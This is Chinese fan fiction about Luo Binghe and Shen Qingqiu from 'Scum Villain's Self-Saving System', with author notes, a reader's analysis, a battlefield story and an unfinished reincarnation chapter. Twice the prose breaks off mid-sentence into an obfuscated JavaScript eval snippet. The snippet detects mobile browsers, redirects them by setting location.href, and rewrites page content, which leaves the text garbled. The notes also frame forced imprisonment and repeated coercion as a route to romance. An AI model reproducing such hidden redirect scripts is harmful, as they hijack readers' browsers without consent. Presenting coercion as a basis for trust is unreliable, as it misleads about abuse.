两个同样恶劣的人渣,一个得到了‘圆满’,一个得到了‘暴虐’。现在,那个该死的、幸运的、比之自己一样混蛋的家伙,却能将对方拥入怀中。 凭什么?为什么? 沈清秋是脑子有坑被洗脑了,还是自甘堕落,居然服软屈负了? 啊,一定是他有问题。一定是同位体的自己做了什么。一定是这个世界有问题。 异界洛冰河坚决不承认,他是羡慕的,不甘的,愤恨的,厌恶的。 所有的一切,本该被毁灭成灰烬才对! ———— 变态的想法与准则就是: 既然你眼中没有我,那么我就让你只能看见我。 既然你为了别人发疯,那我就毁去所有能让你勾起情绪的所有外物。 ——极为标准的囚禁强制爱 ———— 所有治病中,一旦人没了‘存活的价值’,‘想留在世间的念头’。 他就失去了心灵锚点,再也不可能寻回停留的地点。 一些讨论 大佬就是大佬,要拿小本本逐字记录下来学习! ———— 仿了一下〈鸾宠〉,结果写出来不伦不类,勉强写个后续,又搞成了全死冰哥活…… 得到大佬指导才知道,没写到点子上,所以才会这样——— ———— 首先,沈清秋不是随便被压的性格,更不是随便能打开心防的人。 想要他打开心防,要么用其他人的命威胁,要么折辱折骨击毁其心理底线。 (呃,这就是我写的所有文,最后只能互杀互打结尾的原因。我真的是甜文写手,不可能下手虐九,更不会让他处于‘用自己换其他人’的地步。有所预留之下,沈清秋只会举剑对打,拼杀至死) 所以基本上大部分的冰九,都瑟瑟。 想要冰哥X沈九走下去,只能是冰哥以武力强压,数百次的折磨之下,沈九对抗无力,日日沉沦、夜夜笙歌。 接着给出一个‘契机’,让其中一个人‘读取对方记忆’,开始走‘救赎?’线。 这个逻辑是有心理学支撑的。 如果将每个人比喻成一本书。当有人翻开你的记忆,认真去‘剥析’你的行为规则和逻辑,预判你的需求、计算你的一举一动,最终给予你想要的内容。 这种现象——叫接触效应。 心理学中对‘接触效应’的定义为:当有人认真接触你、解析你的时候,你感到被贴近,是因为频繁的接触增加了你对这个人的熟悉感,而熟悉感通常会带来安全感和舒适感,进而增加对该人的好感。 换而言之,就是当有人‘进行深入了解你’这个过程时,由于‘被了解’而产生‘信任’,由于信任而增加好感,进而水到渠成的……携手共进。 当然。最终能成功,或许还和夜夜笙歌的黑暗效应(黑暗效应:指在光线比较暗的场所,约会双方彼此看不清对方表情,就很容易减少戒备感而产生安全感)有关。 所以说。 冰九的主线,就是先存在深入(肢体)接触,接着有个契机去了解双方、解除误会。一点点打开双方对另一人的偏见,最后破解偏见,携手共进。 ———— emmm。所以说,我写不出来冰九。 是因为—— 我从来不会将九预设到绝境…… 一个骨子里刻满了反抗的人,又没有被逼到绝境,他为什么要‘服从’和‘接受’? 我看其他冰九,看得时候贼带感,写的时候一脸懵:为什么九要被压,并且完全不反抗或者‘不能反抗’? 行吧。我得承认,看小说时候不需要逻辑和脑子,但是如果让我写,我必须把这些盘顺…… 再加上我是占九大于占冰——我可以接受冰九、柳九、七九、明九、水仙…… emmm。所以说我写不出来大佬那样的冰九,貌似也——很正常? ———— ——以下是大佬的解析,简直太牛批了—— 我记得有一个《剑雨》有一个影评是这样写的,左轮王的功力在剑雨之上压着她打,每一招都伤到她,但每一招都不致命,不是在击杀,而是在“驯服”,目的是想让剑雨明白背叛自己是错误的 洛冰河有类似的情结,他展示自己的强大,想让师尊认可自己,承认自己有眼无珠,后悔当初的嫌弃和并对洛冰河臣服(外加PUA师尊——就是因为你没对我好你才落得这个下场),以强为尊以武镇压,这是非常魔族的做法,就如同尚清华臣服于漠北君一样 ———— 那我真说了哦——虽然仿写了《娈宠》,但没有仿到爽点上 肉的部分只是配菜,大家喜欢《娈宠》是因为,他们终于有一个契机可以知晓对方的心 明明沈清秋是会爱人的也渴望被爱被一心一意珍惜的,明明洛冰河是爱沈清秋的是一心一意呵护沈清秋的,偏偏如此般配的人竟然闹得如此惨烈 娈宠给了他们一次交流的机会(以一次交易开始),至少不会再有巨大的抵抗,这也相当于沈清秋对洛冰河的一次考验,因为有相信才会有交易,而不守信是沈清秋的巨大雷点,所以在以为洛冰河失信的时候,沈清秋也失望的自杀了一次,在救回来之后,洛冰河亲自带他看守信的结果(要实际,不是空头支票)沈清秋也心软了 第二次心软我觉得是口*,口*是一种下位者姿态,但洛冰河心甘情愿,被沈清秋“夸奖”(其实是安慰)之后如同孩子一般喜极而泣 这让沈清秋对洛冰河共情了,让他想起了在女人怀里瑟瑟发抖的时候,他看洛冰河如同看自己,自己在秋府渴望的岳七,洛冰河在清净峰渴望着沈清秋,沈清秋心软了安慰了一句洛冰河,这是他们冰山融化的明显开始 但,沈清秋的考验还在继续 沈清秋可不会白白被*,他也在慢慢的积蓄力量,整个《娈宠》是沈清秋对洛冰河的一次考试,每一次回答都在打分,如果不合格就给洛冰河给予终身禁赛 对感情的考验,沈清秋要求见宁婴婴,看到几百年了还活着还年轻的宁婴婴,这一次沈清秋把自己和她一起放在天平上比较,逻辑:如果连当初对你很好的师姐都照顾不好,又谈何爱一个对你不好的师尊呢 洛冰河在拿到基础分后,继续上分——同心契 不是任何口头上的约定,洛冰河已经明白,若要师尊相信,必须以行动证明,一旦立契从此荣辱与共生死相依,沈清秋又心软了 在最后的立契环节,也是洛冰河的成绩结果的环节,如果不合格沈清秋就将洛冰河暂时封印而自己魂飞魄散 然后,让我们恭喜洛冰河同学考上“一起活下去也不错”大学,您的导师沈清秋接受你的加入(全部属于个人解读,不解释) ———— 之前你也有仿写过那个重生之后师尊没有收我为徒那个文。 也没有爽到点上,那个文爽的点是什么呢?是重生之后沈清秋想要改变自己的结局——以远离洛冰河的方式(上辈子洛冰河在责怪沈清秋,如果对洛冰河好一点事情就不会这样,现在好了,沈清秋虽然不想对冰冰子好,但我可以给他找一个对他好的师尊,看他还赖不赖) 如果洛冰河没有重生,沈清秋都不一定能成功摆脱洛冰河,更何况是重生的对沈清秋带有极大执念的爱而不自知的洛冰河呢 最后洛冰河自己也会思考,会明白自己的。明明沈清秋跟自己没关系不再是你的师尊,也没有人虐待你,柳清歌人也不错,为什么还要执着于他? 看过(惩罚游戏),也是有关于交易的,但所有的交易都与信任有关 有了信任才有了交心的成本,而守信本就是沈清秋最大的一个雷点痛点,是他痛苦的开始,是沈清秋封心锁爱不再信任他人的根源 洛冰河若是能解决这一痛点,那他就可以值得沈清秋为他心软 这些文章有一个共同的特点,就是他们相信沈清秋的遗憾和痛点如果能被弥补,就可以和洛冰河重新开始 而洛冰河的痛点也只有沈清秋可以弥补,他们这样互相一补足就能happy ending了 推荐两篇冰九和冰九冰文《似是故人来》《仙途》 第一篇洛冰河重生将小九好好养大,即使后面恢复了前世记忆,也重新拥有了相信人爱人的能力,冰九he 第二篇,已经和洛冰河he的沈清秋重生,沈清秋重新养大小白花,沈清秋因为心结被解开修为也增长了,不再执着于岳七的诺言,爱解释不解释吧,非常洒脱的小九,从心态上就已经看出前世被冰养的很好 32.战力巅峰九X魔族领导冰 大纲 ooc预警:这是一个主‘惺惺相惜’的战场脑洞,但是身为喜欢看女频的人,不是很会写战场,所以看个乐子就好。 ———— 仙魔战场开启后,身为修真界战力之一的沈清秋和魔族顶尖战力的洛冰河,分别带领自己的势力为自己世界而征战。 呃,为了后续能正常开展,这里设定冰的能力还不足以镇压全局,九的修为和冰差不多,同属于‘巅峰战力’阶段。 两人立场对立,都是绝对不可能为了其他东西而放弃,受伤之后依旧会勇往直前向前冲的性格。 一开始双方互相‘听到对方名字’,接着战场相遇‘原来真是你’,接着嘴炮互怼,对打未分胜负; 数次较量后生出‘互相欣赏’之情,虽明白一定要弄死对方,却也觉得对方算是个真男人。 一场意外,两人被困于某一处。 双方互相警惕,又互相携手,接触之后生出惺惺相惜之情,以山泉水代酒、举杯对饮。 等双方其中一人的小兵寻到,九与冰互看一眼,转身离开。期间——没有一个人、一个兵趁机偷袭。 两人重回阵营,继续布阵列兵,带己方势力拼杀。 最终仙魔之战死伤无数,冰临阵突破,镇压世人;修真界覆灭在即,冰提出要与九对战一场,给修真界最后的机会。 结局却是,九赴约后,冰煮酒抚琴,邀请九退隐山林,以xx线为界限,魔族会回到魔界,双方休战。 九同意了,但世间流传的,却是九拼尽全力、击杀于冰后因力竭而死,魔族败。 冰在最后,为了维护九的名声,甘愿让‘镇压全场的洛冰河死于爆种沈清秋’。 ——碎碎念—— 今天终于明白为什么我写不了冰九HE了,因为只要是个正常人,都不会接受我写出来的洛冰河。 太难了,没想到在我笔下,洛冰河居然那么‘不值得’被爱。 英雄论迹不论心,如果洛冰河只是口头花花而非真心实意的‘改变什么’、‘证明什么’,冰九不可能HE; 同理,如果九的心中不觉得冰‘值得信任’,那么冰X九就是个笑话(没事的,我已经写了很多笑话了) 这篇属于双方被吸引,互相欣赏后的携手闯荡江湖。大概……不属于爱情,应该是兄弟向? 不过不重要,这样情况下,冰X九必然是打出HE结局! 正文 “魔界洛冰河横空出世,魔族那些没脑子的就像是有了领头似的,难打许多。” “以往这些家伙不懂战术横打一通,现在居然会设陷阱、搞埋伏了。” “前些天他们还学会了诈败诱敌,那群气血方刚的弟子辈看见逃跑的魔族血都沸腾了,一个个嗷嗷叫着跑的跟老鹰看见兔子似的,结果却折损了一大半进去!” 就在众人探讨之时,却突然有人艾特了沈清秋:“话说,之前沈峰主的那个弟子,是不是就叫‘洛冰河’来着?曾经差点位居仙盟大会榜一,最后却死在魔族之手。” 沈清秋将思绪收回,对上一众看向他的眼睛,淡淡道:“没印象,不知。” 这时又有人怪笑,看其服饰是幻花宫所属:“沈峰主自然不知,可当时我徒儿被洛公子所救,芳心暗许,却是记得清清楚楚!” 一场会议,教出‘叛敌之人’的沈清秋,成了众人集火的对象。若非他没有照顾好弟子,如洛冰河这样的军事天才,现在被打得节节败退的,本该是魔族! 沈清秋实在不想理睬众人,当即甩了袖子,以苍穹山峰主令为信(物),召集苍穹弟子赶赴前线。他要亲眼看一下,当初那个被他踢下悬崖的半魔,是不是真因他的放虎归山,成为修真界心头大患。 —— “师尊安好?” 一身铠甲的洛冰河走近沈清秋营帐,笑意盈盈的行了个弟子礼:“弟子的一切皆拜师尊所赐,不知师尊可曾收到弟子的回忆?” 沈清秋手中捏着茶杯,上好的玉瓷皲裂出寸寸狰狞纹路,其中的茶水却未溢出半分。 沈清秋近些天来听到过无数关于对方的信息,其中最多的,就是‘洛冰河一切皆出于尊师沈清秋指导’,一度令沈清秋险些背上‘通魔’的罪名。 现在,罪魁祸首只身入敌营,是对沈清秋的绝对信任,还是实力强劲到天不怕地不怕? 此子是敌非友,断不可留。 洛冰河终究还是全身而退。当‘洛冰河亲自入沈清秋营下拜会并毫发无损’的消息传出后,沈清秋的身边,多了一个柳清歌(假设他没死)。 虽然苍穹山的官方文件是让与沈清秋向来不对付的柳清歌‘看着’沈清秋,但实际上大家都知道,是岳掌门担心沈清秋的安危,派柳清歌过去护着对方。 —— 仙魔战场进入白热化,修真界以沈清秋为智囊,算无遗策、计谋无双;魔界以洛冰河为将领,敢拼敢打、灵活多变。 两者一度成为风云人物,却又因曾经的‘师徒关系’被人常常挂在嘴边比较。 是‘青出于蓝而胜于蓝’,还是‘你大爷永远是你大爷’? 是‘江山代有才人出’,还是‘山姜还是老的辣’? 两军的首领本就容易被人传扬,而如果两人之间还存在一些似是而非的过往时,世人心中娱乐八卦、喜好乱扯红线的心意,便开始压抑不住。 当沈清秋偶然在交上来的信封中、看到将他与洛冰河写成恋人的狗血故事时,沈清秋难得的,发了一通脾气。 而当其他人搞明白沈清秋为何而气的时候,洛冰河却在夜幕降临之后,悄咪咪的溜进沈清秋的营帐: “弟子听闻师尊大发雷霆,特地过来见识一番。” “不知师尊对其他人发脾气,可会像对弟子一般动辄打骂、亲自责打?” 沈清秋一杯茶水砸过去,直冲洛冰河面门。 洛冰河看着似曾相识的一幕,就像是看见了曾经满心欢喜跪在地上,却被砸个头破血流的少年郎。他眼神骤然降温,衣袖将茶杯打碎: “师尊近些年脾气见长,不如跟弟子去魔界消消火?” 说着,洛冰河快步移到沈清秋三步之内,意欲将其擒拿。 沈清秋修雅出手,举剑就砍。这样的弟子,只恨他当初心太软,没有一举将其杀死后喂狗,放虎归山、终成大患。 两人对打,柳清歌从其他地方赶来,与沈清秋一同对战洛冰河。 洛冰河败退,次日魔族四处涌出,就像是开了全局传送阵似的,修真界被打个措手不及。 沈清秋走出营帐,调查魔族为何突然四处出现、又如何快速撤退的原因。 ———— 两人相遇,陷入秘境,双双失忆(别问会不会太突兀,再不失忆又要互杀了) 两个外来者,在本地人的安排下居住在一起(同一套房的两个厢房)。 巧的是,沈清秋明明很少说话,洛冰河就是莫名其妙知道沈清秋此时此刻的心情;更奇怪的是,洛冰河出门的时候会遇见一些物品,带回来后发现沈清秋恰好也挑选了这些。 沈清秋一方面觉得对方对自己了解的有点过于明显,一方面又觉得理所应当的很习惯。直到童言无忌,某个孩童笑着对他喊: “大哥哥,二哥哥是不是你的恋人呀,他对你可真好,比我爹对我娘还好。” 沈清秋下意识反驳,关在门内思考——两个同样失忆的外来者,洛冰河对他确实太过了解了,而他对对方的‘讨好’与‘奉献’,居然很习以为常? 难不成,他们还真是,分桃断袖? 只是沈清秋心里隐隐觉得不对劲,在稍微的试探(状似无意的触碰洛冰河、偶尔提出某个对方很大可能不会同意的要求)后—— 发现他并不能接受洛冰河对他的触碰,他也不会主动去接近洛冰河,但洛冰河却会为了他改变。 沈清秋:很好,他是一个玩弄别人的恶劣家伙,收下对方的殷勤,完全不给对方同样的回馈。既然这样,他……总是要多多少少给予一丢丢‘回报’,勾的对方继续付出才行。 放长线钓大鱼,想让马儿跑就要让他吃草,要不然对方撂挑子不干,他就要干活了。(是的,洛冰河就是干活工具人) —— 战火终究波及到凡尘,两人被人族士兵强行抓去参军,在简单的训练下,沈清秋和洛冰河上手很快,升职也很快。 记忆中的招式被使出,两人的一招一式如此相像,形式作风如此相似,被人称为‘xx(村子名)双杰’。 两人背靠背杀过无数敌人,赤手空拳的夺取敌人武器,从一堆人海中突围出去,互相搀扶着逃到山林之中,就着月光与溪水,看着彼此鲜血与尘土涂抹的大花脸,忍不住捧腹大笑。 接着洗净纤尘,用叶子以溪水代酒,共庆彼此从尸山血海中活了下来。 —— 溪水的上流,有修真界与魔界的缝隙,两者正在对打,洛冰河看见那些人本欲离开,却被魔族发现:“洛圣子!” 洛冰河茫然的看向沈清秋,他的体型长开后,现在已与沈清秋同高了。更有甚者,他比沈清秋要看起来更健壮、更成熟一些。 可论心计与危险感知度,还是沈清秋更胜一筹。 只是—— 当沈清秋的脸露出来后,修真界的人,反应同样激烈:“沈仙尊!” 接着是双方同时发出的疑惑:“洛冰河,与沈清秋,真的是师徒?他们怎么会同时出现?” 洛冰河虽不知发生了什么,却隐隐能感觉到,如果‘沈清秋与洛冰河’共同出现这件事被其他人知晓,对沈清秋绝对是毁灭性打击。 故而——洛冰河直接做了个擒拿动作,将沈清秋双手抓住扛在肩上:“沈仙尊已被我所擒,你们前面开路。” 沈清秋剧烈挣扎,被洛冰河拍了一下屁股:“既然在我手上,就别想着逃脱。” 魔族自发分为两列,一列为洛冰河开路引路,一方面抵挡修真界之人的追击。 洛冰河趁其他人不注意,左脚踩在右脚上‘噗’的一声摔倒在地,又被‘沈清秋’的暗器所伤,沈清秋逃了。 魔界消息传来,洛冰河反杀魔尊,成为魔界领头,修真界人心惶惶,氛围紧张。 后洛冰河登位大典,寄出请帖于沈清秋: 师尊敬上,弟子洛冰河邀请师尊前来见证。 沈清秋没回复。 却在洛冰河即位当天,坐在后山的竹林山水旁,对月抚琴。 洛冰河划开空间缝隙,沈清秋抚琴多久,他就在瀑布阴影处看了多久。 耳边的瀑布之声极为喧闹,他本不该听到对面之人的琴声。可不知为何,洛冰河却觉得万籁俱寂,沈清秋所拨动的琴弦划过空气,将一整个世界的宁静赠送给他。 黑暗翻滚,星辰明灭于无明无影之处,天际划过流光,犹如坠落的星辰。咫尺天涯,无形的界限横在他们之间,像是倒悬的时间长河。 朦胧的月光撒下堪称稀薄的光线,切割着他们之间的阴影,亦守望着,不知该归为何类的未知情愫。 他与沈清秋之间,有年少的期许与愤恨,有长大的算计与对峙。可若是最令人印象深刻的,却还是两人失去记忆后在凡尘的短暂相处。 洛冰河用手心虔诚的接住穿透重重黑暗的月光,认真的注视着掌间的纹印。随着额头的印记越发滚烫,手指一点点收拢。 他们的立场天然就是相对的。 洛冰河爬的越高,离修真界第一门派的峰主就越远。 可洛冰河若是不走上至尊位,沈清秋就没办法继续当他的仙尊。 有一个魔族弟子的仙尊,天然就存在被攻击的弱点。 而洛冰河之前为了将沈清秋拉下神坛,没少渲染‘洛冰河的一切皆由沈清秋教授,魔族能突然强盛,全是沈清秋教导有方’。 再加上两人曾一同出现在众人面前,沈清秋洗无可洗。 若是洛冰河愿意,沈清秋随时能被名声世俗道义所累,被污水拖入泥潭。 只是沈清秋并非绝对的恶人,不是吗? 沈清秋得知他是魔族后,并未一剑将他杀死,而是说了句‘仙魔不两立’后将他踹下悬崖; 沈清秋在洛冰河反复挑衅之下,虽气急败坏恨不得弄死他,却并未说过一句编排作假之语。 沈清秋在发现他与洛冰河的荒唐话本之后大发雷霆,更在洛冰河刻意激怒之下举剑对打,却又在柳清歌险些一剑砍死他的时候,顶着柳清歌极为不理解的表情,将洛冰河放了出去。为此,听说柳清歌与沈清秋又又又一次决裂。 而两人失忆之时,对双方的互相了解与日常相伴,对战之时的相互配合与交换后背,逃亡之时的狼狈与脱离困境的开怀大笑,都是做不得假的。 沈清秋。 洛冰河仔细念着对方的名字。每个字都轻轻的绕过舌尖与牙齿,竟意外咀嚼出甜蜜来。 我的师尊啊,你若是肯投下几丝月光,弟子愿倾尽所有前去追寻。 —— 洛冰河踏入化神了。 这意味着,在修真界与魔界最高战力只是半步化神之时,洛冰河可以凭借修为镇压天下。 魔族无不欢声笑语、摩拳擦掌的想要大干一场;修真界与人界却是日渐低迷,惶惶而不可终日。 就在修真界数次开会选不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187622|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更好决策的时候,曾经被当成救命军师的沈清秋又被骂成全网黑。没人关心不再是战力巅峰的仙尊,也没人在乎良善之人的付出。 当人们无法再得到你无条件的付出与庇护后,他们不在将你敬为仙尊,也不在歌颂你的功德。 更有甚者,人们开始批判沈清秋的仙风道骨只是披了层伪君子的假象,而他之前的所作所为,也无非是敷衍大众的出工不出力。 事实证明,世界上的傻子和没脑子的人一直很多,他们总是会轻而易举的被人三言两语挑拨,接着引起暴动。 而另一个事实又证明,以暴制暴的确是一件非常好的办法。 沈清秋以绝对的武力,将其他蠢蠢欲动的蠢货们打压下去,满脸暴躁的举着修雅对战柳清歌。 柳清歌不能理解,为什么沈清秋之前要放过洛冰河;更不能理解,为什么大战在即,沈清秋却将其他人都打成半残? 成就化神的是洛冰河,能以绝对的修为等级横压当世的也是洛冰河。沈清秋是又犯了什么病,竟在这种时刻大打出手、毫不留情? 难到……沈清秋当真如市井传言,已与洛冰河结白首之约,要将修真界赠予对方? 沈清秋与柳清歌打得这一战很惨烈。 最后还是岳清源出手,拔出那把几乎未曾出过鞘的玄肃,制止了双方。 可沈清秋,却是将自己锁入竹屋,无论岳清源怎么好言相劝,都不肯开门。 —— 洛冰河得知沈清秋重伤的消息,已是沈清秋独自居于竹屋三日后。 可当洛冰河着急忙慌赶过去时,却被层层阵法阻拦。 洛冰河设下各种结界,破开沈清秋布下的阵法,将倔强到连药物都没来得及去取的沈清秋拉出竹屋:“师尊,您若不喜修真界,弟子陪您去凡尘。” 沈清秋不可能会跟他回魔界,所以洛冰河退而求其次,直接想带他去凡尘隐居。 沈清秋看着无论结界内部如何振动都不会将声音传出去的隔层,将修雅拔出:“打一场,无需让。” 洛冰河会打吗? 沈清秋先是强行镇压那些长了一条只会搬弄是非的舌头,又与柳清歌那个没脑子的玩意全程开大对打。这三天看似休息,实际却连伤药都备不齐全,明明是一峰之主、半步化神,却将自己搞成这般田地。 许是洛冰河眼里的心疼过于明显,也可能是沈清秋心情过于糟糕,沈清秋面色极冷的甩出一句:“我居然弱到需要别人可怜?” 其声音之森冷,语气之生硬,令所有听到的人都如坠冰窟。 洛冰河连血液都被冻成渣渣,不敢相信自己的好意被解读成什么样的存在。他紧紧的闭上眼睛,颤抖着斟酌词句: “弟子近些天忙于收拾魔界,精力不济。师尊可否宽限一月,弟子定陪您打个痛快。” 洛冰河得到的,是沈清秋不屑的冷哼,和转身就走的背影。 —— 洛冰河向沈清秋发出战书,约在八月十五的xx谷,当年洛冰河曾在这里举办的仙盟大会上崭露头角。 沈清秋接了。 两人的大战拳拳到肉,精彩纷呈。 灵气与魔气交织,血液与粉尘飞舞,是一场看起来就绝对会死一个甚至全部死亡的架势。 观战的众人并不喜欢弱小和实力相差太大的对战者,他们更乐意看到双方拼尽全力、垂死挣扎的样子。 他们也并不关注两人之间究竟什么样的恩怨情仇,只要有趣、劲爆,足以满足他们的猎奇之心和八卦欲,就足够了。 更有甚者,当被他们议论的家伙慌忙澄清、到处奔波之时,他们只需要轻飘飘一句‘哦’或者‘啊’,就足以击溃被流言缠身者的心理防线。 大家就爱看对方露出的绝望神情,这是一种变态却又异样的掌控欲。 现在,两个传说中的巅峰人物于他们面前对打,其实对其他人来说,和两个地痞无赖、破烂乞儿在街头互殴没什么区别。 唯一可说的,大概就是他们一起见证了沈清秋一剑将洛冰河的心脏刺穿,接着洛冰河猛的用心口承接剑意,用近乎拥抱的样子,带着沈清秋跌下万丈深渊。 番外 “师尊,其实我想过,让修真界那些家伙‘交出你’,换取魔族退兵。” 洛冰河看着挑眉的沈清秋,笑了: “弟子觉得,那些家伙应该会毫不犹豫将你推出来,说不定还会明面上编织各种罪名,将你送入牢中,私底下却将你洗干净送到弟子床上。” 沈清秋不置可否的将茶杯放下,饶有兴趣的看着洛冰河,眼神示意对方说下去。 洛冰河笑容真挚,眼神中有着坚定的执着和忽然滚过的幽深。他的语气很是不屑,像是世间万物都不入眼: “那群欺软怕硬的的东西,弟子怎能为了自己的想法,就令师尊深陷囫囵?只需舍一人换人仙两界和平,那群人不高高捧着您就算了,说不定还要编排出你我之间的肮脏故事,没得污您的耳朵。” 沈清秋悠悠的整理衣袖,看着在为自己‘打抱不平’的世间第一人,声音平淡:“你倒是实诚。” 如果事情真如洛冰河所说,他完全可以说句‘将沈清秋交出来,我就退兵’。 只是这样子,整个修真界和人界的压力都会堆积在沈清秋身上。无论沈清秋站不站出来,其他人都会‘自发’将他送出去。 一个人与两个世界,是个人都知道怎么选。只要被舍弃的不是自己,每个人都能‘大义凛然’的要求‘那个人’牺牲。 更有甚者,被牺牲的那个不仅得不到众人的感激,还会被扭曲出不少‘罪证’。哪怕他真是圣人转世,上下嘴皮一碰,他也会成为天生魔种。 众口铄金,积毁销骨。无外乎人言可畏罢了。 洛冰河将一应茶具收回,从一旁拿起滚着雪狐毛的披风:“师尊,听说天山的梅花开了,我们一起去看看?” 沈清秋瞟他一眼:“你低一点。” 成年后的洛冰河身材太高,两人一同走总是会被人误解,沈清秋实在是不想看其他人暧昧的眼神,却又甩不掉身边的狗皮膏药。 哪有弟子比师尊还高那么多的! 其他人听到洛冰河喊他师尊,那副‘小情侣玩的真花’的眼神都藏不住了! 洛冰河看沈清秋神情就知道他想到了什么样的情景,笑着调整成少年身姿: “师尊,您可不能将弟子弄丢了。像我这样的可怜少年郎,最容易被人贩子盯上了。” 沈清秋:…… 你是身体变幼又不是真的幼态,该害怕的是别人好吧? 拐吧。然后击毁几个人贩子的点,也算是积德行善了。 33.未完:重生冰哥+离魂九+走渣反线 洛冰河睁开眼的时候,感觉脑海里好像多出了什么东西,但仔细想想,却又想不清楚。像是有什么记了起来,又像是有什么被遗忘。 只是很离奇的,他在师尊的身边,看到一个虚幻的灵体。 那个灵体与师尊的身姿一模一样,虽然看不清楚具体容貌与身形,却明显看起来要尖酸刻薄,孤傲冷漠。如果说像什么,大概像——之前不曾对他笑过的‘师尊’。 灵体好像并不能接触和离开师尊,只能伴随在‘沈清秋’三尺之内,就像是被人抓着绳子的气球,无形的吸引力牵引着他,令他不能离开。 为什么洛冰河会说是‘不能’而不是‘不想’呢? 因为洛冰河已经数次看见灵体抓狂崩溃、想离开而无法拒绝的随‘沈清秋’移动而移动。 明明上一秒还在尝试读取书信,下一秒就被拉扯到另一处;明明刚伸手尝试触摸修雅剑,下一秒就来到了房门之外。 尤其是,当洛冰河与‘沈清秋’出门打怪,师尊晕眩后,依旧清醒的灵体手中疯狂掐诀,却依旧无法阻止衣裳被一层层扒开。 那一刻,洛冰河似乎看到,灵体那看不清晰的脸庞上,出现了极为明显的‘破碎’。 而备受打击的灵体,似乎也随着‘沈清秋’衣物被脱下,身躯越发僵硬且处于崩溃边缘。 ———— “就算是我死了,你都会活得好好的。” ‘沈清秋’的声音依旧温柔平和,言语中不带半分的嫉妒,却说着让人难以心平气和的话语。 洛冰河是什么幸运的人吗?连金丹期的沈清秋都会死,刚踏入炼气的洛冰河却会比他活得还长久? 洛冰河敏锐的感知到一丝诧异,眼神在扫过周围的灵体时,却意外发现灵体的脸开始随着这么多天的时光流逝而逐渐清晰——那是一张,与‘沈清秋’一模一样的脸。 什么样的东西,会伴随在人类的身边,跟随时间段流逝而越发凝实和清晰? 洛冰河决定要提醒一下师尊,省得他被什么不干净的东西惦记上,若是被莫名其妙的东西附了身可怎么好? 只是。 洛冰河的心里有些隐隐约约的不对劲。 灵体与〈沈清秋〉越来越相像,或者说越来越表露出明显的相似。 更有甚者,灵体的一举一动,比身为清静峰之主,有名的修雅剑,还要端庄优雅。应变与躲闪,比战力只低柳清歌一筹的苍穹山第二战力,还要迅猛快速。 而他的师尊,近段时间突然变得平和温柔的‘沈清秋’。不仅言语粗俗直率许多,连平日里的讲课与训练,都不在上心。 人是不能对比的。 私心里,洛冰河希望沈清秋对他更关注,甚至恨不得满心满眼都是自己。 理智上,却总有名为‘不对劲’的弦紧绷着。违和感不是一天两天生出的,判若两人的沈清秋,洛冰河没办法装成看不见的瞎子,听不见的聋子。 尤其是—— 那个他以为是吸取了师尊灵力变得凝实的灵体,远比现在看起来的〈沈清秋〉,更像之前那个恶劣的、高傲的、不屑一顾又待事认真的,沈清秋。 ———— 梦魇之地,〈沈清秋〉将洛冰河拉出令人愤恨的梦境,言语安慰,举动温情,十足的‘慈师’风范。 可问题是,洛冰河的记忆和认知里,【沈清秋】不该是慈师。 【沈清秋】不会介入弟子之间的纷争; 【沈清秋】不会忽视弟子的训练与考核; 【沈清秋】不会与岳掌门言笑晏晏; 【沈清秋】不会在魔物手下就像是案板上的鱼一样被扒开衣服; 【沈清秋】不会对洛冰河温柔的微笑。 【沈清秋】不可能挡在洛冰河面前。 …… 【沈清秋】,不该是慈师。 当怀疑和猜忌搅成一团乱麻的时候,记忆和理智、情感与现实,就会互相纠缠在一起,将人的思维编织成乱七八糟的零碎。 而毛线球这种东西,只要找到了一根线,其他的所有,都会随之解开。 如果此【沈清秋】不是彼‘沈清秋’呢? 如果那个灵体,也是一个【沈清秋】呢? 洛冰河抓紧自己的脸,如瀑的发丝将他的神情遮掩,无数记忆碎片飞快聚集成片,走马灯一般流转起来。 “君所赠予,百倍奉还。” “沈清秋。明帆被丢下万毒窟,清静峰被火烧成灰烬;岳掌门为你送了命,苍穹山尽数覆灭。不知您可满意?” 曾经的记忆再次鲜活,仙魔共主的权势养出放荡不羁、举世无双的霸气。 洛冰河几乎要笑起来,想着上一世被人家制成人彘的沈清秋;与这一世被人夺舍,身躯无法使用不说,连离开都做不到,也不知那个更可怜。 如沈清秋那样恶劣不堪的家伙,居然还有人愿意夺舍于他?都不怕被沾染了小肚鸡肠、卑劣刻板之气吗?想必他的好师尊一定气炸了。 不知当他发现他最厌恶的弟子其实一直能看见他,还一直‘欣赏’着他崩溃炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194788|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛、四处碰壁、无语狂躁的样子,该有多有趣? —— “师尊,外来者可比你受欢迎多了。你两世为人,一如既往的讨人厌啊。” 洛冰河记忆恢复后实力增长很快,虽然没办法将沈清秋的灵体抓住,用梦魇术将灵体‘请’来,还是可以做到的。 果不其然,沈清秋依旧是那个沈清秋,即便是成为了灵体,即使是除了洛冰河不曾有人能看到,即便是他知晓了‘洛冰河将他之前的崩溃抓狂样子尽收眼底’。 沈清秋依旧稳定的毒舌:“沈某性情孤僻,不得人心。只是畜牲何时竟有通灵之能,是大限将至,阎罗未到吗。” 熟悉的讽刺,与现实中的‘沈清秋’温言细语截然不同。 洛冰河之前抓到过对方一次,这次即便是个灵体,只要洛冰河想,亦有千百种方法。 